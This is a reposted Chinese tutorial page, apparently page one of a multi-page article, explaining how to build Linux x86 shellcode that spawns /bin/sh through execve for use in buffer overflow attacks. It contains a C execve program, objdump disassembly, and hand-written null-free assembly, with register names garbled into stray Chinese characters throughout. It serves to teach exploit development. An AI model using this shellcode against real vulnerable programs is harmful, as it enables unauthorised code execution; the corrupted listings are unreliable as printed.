首页 游戏 软件 资讯 排行榜 专题
首页
网络安全
缓冲区溢出的解密方法

缓冲区溢出的解密方法

热心网友
69
转载
2026-04-26

在C中,spawn出一个shell的代码可能象这样:

shell.c :

免费影视、动漫、音乐、游戏、小说资源长期稳定更新! 👉 点此立即查看 👈

#include

void main()

{

char *shell[2];

shell[0] = "/bin/sh";

shell[1] = NULL;

execve(shell[0], shell, NULL);

}

[murat@victim murat]$ make shell

cc -W -Wall -pedantic -g shell.c -o shell

[murat@victim murat]$ ./shell

bash$

如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。

目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!

这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。

因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。

首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:

[murat@victim murat]$ gcc -static -g -o shell shell.c

[murat@victim murat]$ objdump -d shell | grep \: -A 12

0804ca10 :

804ca10: 53 pushl 離

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

804ca1d: b8 0b 00 00 00 movl $0xb,陎

804ca22: cd 80 int $0x80

804ca24: 5b popl 離

804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎

804ca2a: 0f 83 00 02 00 jae 804cc30

804ca2f: 00

804ca30: c3 ret

804ca31: 90 nop

[murat@victim murat]$

让我们一步一步地分析这个系统调用:

记住,在我们的main()函数里,我们写了代码:

execve(shell[0], shell, NULL)

我们传递了:

·字符串”/bin/sh”的地址

·NULL结尾数组的地址

·NULL(实际上它是环境地址)

此处,在main里面:

[murat@victim murat]$ objdump -d shell | grep \: -A 17

08048124 :

8048124: 55 pushl 雙

8048125: 89 e5 movl %esp,雙

8048127: 83 ec 08 subl $0x8,%esp

804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)

804812f: 05 08

8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)

8048136: 00 00

8048138: 6a 00 pushl $0x0

804813a: 8d 45 f8 leal 0xfffffff8(雙),陎

804813d: 50 pushl 陎

804813e: 8b 45 f8 movl 0xfffffff8(雙),陎

8048141: 50 pushl 陎

8048142: e8 c9 48 00 00 call 804ca10

8048147: 83 c4 0c addl $0xc,%esp

804814a: c9 lea ve

804814b: c3 ret

804814c: 90 nop

在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。

因此,如果我们回到__execve:

我们拷贝NULL字节到EDX寄存器,

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

我们拷贝以NULL结尾数组的地址到ECX寄存器,

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

我们拷贝字符串"/bin/sh"的地址到EBX寄存器

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:

804ca1d: b8 0b 00 00 00 movl $0xb,陎

接着变成核模式:

804ca22: cd 80 int $0x80

我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:

xorl 陎, 陎

pushl 陎

pushl $0x68732f2f

pushl $0x6e69622f

movl %esp,離

pushl 陎

pushl 離

movl %esp,靫

cdql

movb $0x0b,%al

int $0x80

让我解释一下上面的指令:

如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。

xorl 陎, 陎

接着我们把NULL推入堆栈:

pushl 陎

我们把字符串”//sh”推入堆栈,

2f is /

2f is /

73 is s

68 is h

pushl $0x68732f2f

我们把字符串”/bin”推入堆栈:

2f is /

62 is b

69 is i

6e is n

pushl $0x6e69622f

可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。

movl %esp,離

接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。

pushl 陎

接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:

pushl 離

现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:

movl %esp,靫

我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:

cdql

我们设定EAX 为0xb,这是系统调用表中的系统调用id。

movb $0x0b,%al

接着,我们转换到核模式:

int 0x80

之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……

上一页12 下一页 阅读全文

来源:https://www.jb51.net/hack/5087.html
免责声明: 游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

相关攻略

缓冲区溢出的解密方法
网络安全
缓冲区溢出的解密方法

在C中,spawn出一个shell的代码可能象这样: shell c : include void main() { char *shell[2]; shell[0] = " bin sh "; shell[1] = NULL; execve(shell[0], shell, NULL); } [m

热心网友
04.26
安全利刃 EFS的加密方法和解密必知
网络安全
安全利刃 EFS的加密方法和解密必知

安全利刃:EFS加密文件系统详解与解密关键步骤 当需要保护电脑上的敏感文件时,许多用户的第一选择是寻找第三方加密软件。然而,如果你使用的是Windows XP、2000或2003等NT内核系统,其实系统内置了一项强大且易用的安全功能——EFS(加密文件系统)。它直接集成于Windows之中,无需安装

热心网友
04.20
UNIX让普通用户具备关机权限的操作方法
系统平台
UNIX让普通用户具备关机权限的操作方法

在UNIX系统中赋予普通用户安全的关机权限 在UNIX系统里,关机操作通常被划归为超级用户的核心权限之一,这很好理解,毕竟这关系到整个系统的生死。不过,在实际的运维场景中,我们常常会遇到一个矛盾的需求:既希望普通用户能执行关机操作(比如在公共机房的终端机旁),又必须严格限制他们获得任何其他超级权限。

热心网友
04.15
Solaris 10.0 cvs的安装方法
系统平台
Solaris 10.0 cvs的安装方法

在Solaris 10上搭建CVS服务器 想在Solaris 10上搭建一个用于代码管理的CVS服务器?这事儿说复杂也不复杂,按照下面的步骤走,基本上就能搞定。整个过程默认都以root身份来执行,这一点很重要。 第一步:确认系统架构并下载对应软件 首先,你得搞清楚你的服务器到底是Sparc架构还是X

热心网友
04.15
Solaris8安装OPENSSH方法
系统平台
Solaris8安装OPENSSH方法

在Solaris 8上安装OPENSSH 相信不少朋友在Solaris 8上折腾OpenSSH时,都曾被那个经典的“PRNG is not seeded”(伪随机数生成器未播种)问题给卡住过。今天,咱们就来聊聊这个问题的解决之道。 首先要做的,自然是确保OpenSSH所需的所有依赖包都已就位。 A、

热心网友
04.15

最新APP

宝宝过生日
宝宝过生日
应用辅助 04-07
台球世界
台球世界
体育竞技 04-07
解绳子
解绳子
休闲益智 04-07
骑兵冲突
骑兵冲突
棋牌策略 04-07
三国真龙传
三国真龙传
角色扮演 04-07

热门推荐

AI编程工具“GptDuck”怎么样?
AI
AI编程工具“GptDuck”怎么样?

GptDuck:一款开发者的高效AI编程搭档 在众多AI编程工具中,有一款名为GptDuck的产品,它以其精准的定位,赢得了不少开发者的青睐。简单来说,这是一个专门用于解答任何GitHub存储库相关问题的工具。 它的官方网站是:https: www gptduck com。 那么,它是如何工作的呢

热心网友
04.27
AI视频制作“Rask”怎么样?
AI
AI视频制作“Rask”怎么样?

Rask:跨越语言藩篱,保留声音本色的AI视频创作利器 在内容无国界传播的今天,你是否遇到过这样的难题:一段精心制作的视频,却因为语言障碍,无法触达更广阔的观众?传统的翻译配音要么成本高昂,要么音画不同步,甚至让原本生动的演讲变得呆板。有没有一种工具,能既精准翻译,又原汁原味地保留演讲者的独特音色与

热心网友
04.27
AI编程工具“AirOps”怎么样?
AI
AI编程工具“AirOps”怎么样?

AirOps:一款值得关注的AI编程助手 在众多AI编程工具中,AirOps的表现相当亮眼。它专注于一个非常实用的场景:帮助开发者编写SQL。 其官方网站是:https: www airops com 。 最吸引人的一点在于,它对个人用户和小型团队是免费的。这意味着,无论是独立开发者还是初创项目,

热心网友
04.27
AI音频合成“Coqui”怎么样?
AI
AI音频合成“Coqui”怎么样?

Coqui:一款值得留意的文字转语音合成工具 在众多AI音频合成方案中,Coqui以其出色的表现和独特的理念,逐渐赢得了不少专业用户的青睐。它并非只是一个简单的工具,更代表着一种开放、可访问的技术愿景。 其官方网站是:https: coqui ai,所有相关的产品信息、技术文档和更新都可以在那里找

热心网友
04.27
AI 3D模型生成器
AI
AI 3D模型生成器

AI 3D模型生成器是什么 简单来说,AI 3D模型生成器就是让计算机学会“凭空造物”的工具。你输入一段文字描述,它就能利用人工智能算法,自动构建出对应的三维模型。以Sloyd这款工具为例,它由一支同名团队开发,擅长将“建造一座中世纪塔楼”或“设计一把未来感步枪”之类的文本,快速转化为细节丰富的3D

热心网友
04.27